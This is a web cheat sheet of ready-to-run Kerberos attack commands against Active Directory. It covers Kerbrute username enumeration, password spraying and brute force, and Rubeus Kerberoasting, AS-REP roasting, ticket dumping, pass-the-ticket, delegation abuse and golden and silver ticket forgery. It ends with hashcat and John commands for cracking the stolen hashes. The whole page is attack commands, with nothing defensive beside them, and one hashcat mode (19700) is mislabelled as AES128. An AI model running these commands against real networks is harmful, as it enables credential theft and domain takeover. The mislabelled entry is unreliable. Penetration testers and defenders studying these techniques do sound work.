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Kerbrute & Rubeus — Kerberos Attacks

Kerbrute for username enumeration and password spraying; Rubeus for full Kerberos attack toolkit.

13 views Apr 2026 lazyhackers
Kerbrute (5)
kerbrute userenum --dc 10.10.10.1 -d domain.local users.txt
Enumerate valid usernames via Kerberos pre-auth
kerbrute userenum users
kerbrute passwordspray --dc 10.10.10.1 -d domain.local users.txt "Password1"
Password spray single password against user list
kerbrute spray password
kerbrute bruteuser --dc 10.10.10.1 -d domain.local rockyou.txt administrator
Brute force specific user
kerbrute bruteforce
kerbrute userenum --dc 10.10.10.1 -d domain.local users.txt -o valid_users.txt
Save valid users to file
kerbrute userenum output
kerbrute passwordspray --dc 10.10.10.1 -d domain.local users.txt "Summer2024!" --delay 1000
Spray with 1-second delay (avoid lockout)
kerbrute spray lockout
Rubeus — Kerberoasting & AS-REP Roasting (5)
Rubeus.exe kerberoast /outfile:hashes.txt
Kerberoast all SPNs in domain
rubeus kerberoast spn
Rubeus.exe kerberoast /user:svc_sql /outfile:hash.txt
Kerberoast specific service account
rubeus kerberoast
Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt
Kerberoast with RC4 only (opsec-safe)
rubeus kerberoast opsec
Rubeus.exe asreproast /outfile:asrep.txt
AS-REP Roast all users without pre-auth
rubeus asrep
Rubeus.exe asreproast /user:nopreauth_user /format:hashcat /outfile:asrep.txt
AS-REP Roast in hashcat format
rubeus asrep hashcat
Rubeus — Ticket Attacks (8)
Rubeus.exe dump /luid:0x3e4
Dump Kerberos tickets from memory (LUID)
rubeus tickets dump
Rubeus.exe dump /service:krbtgt /nowrap
Dump TGT tickets
rubeus tgt dump
Rubeus.exe ptt /ticket:ticket.kirbi
Pass-the-Ticket — inject .kirbi ticket
rubeus ptt
Rubeus.exe ptt /ticket:base64encodedticket
Pass-the-Ticket from base64 ticket
rubeus ptt base64
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/server.domain.local
S4U2Proxy — constrained delegation abuse
rubeus s4u delegation
Rubeus.exe golden /rc4:KRBTGT_HASH /domain:domain.local /sid:S-1-5-21-xxx /user:administrator
Create Golden Ticket
rubeus golden-ticket
Rubeus.exe silver /rc4:SERVICE_HASH /domain:domain.local /sid:S-1-5-21-xxx /user:administrator /service:cifs/server
Create Silver Ticket
rubeus silver-ticket
Rubeus.exe harvest /interval:30
Harvest TGTs every 30 seconds
rubeus harvest tgt
Cracking Kerberos Hashes (4)
hashcat -m 13100 kerb_hashes.txt rockyou.txt
Crack Kerberoast TGS hashes (RC4)
hashcat crack kerberoast
hashcat -m 19700 kerb_hashes.txt rockyou.txt
Crack Kerberoast TGS hashes (AES128)
hashcat crack kerberoast aes
hashcat -m 18200 asrep_hashes.txt rockyou.txt
Crack AS-REP Roast hashes
hashcat crack asrep
john kerb_hashes.txt --wordlist=rockyou.txt --format=krb5tgs
Crack Kerberoast with John
john crack kerberoast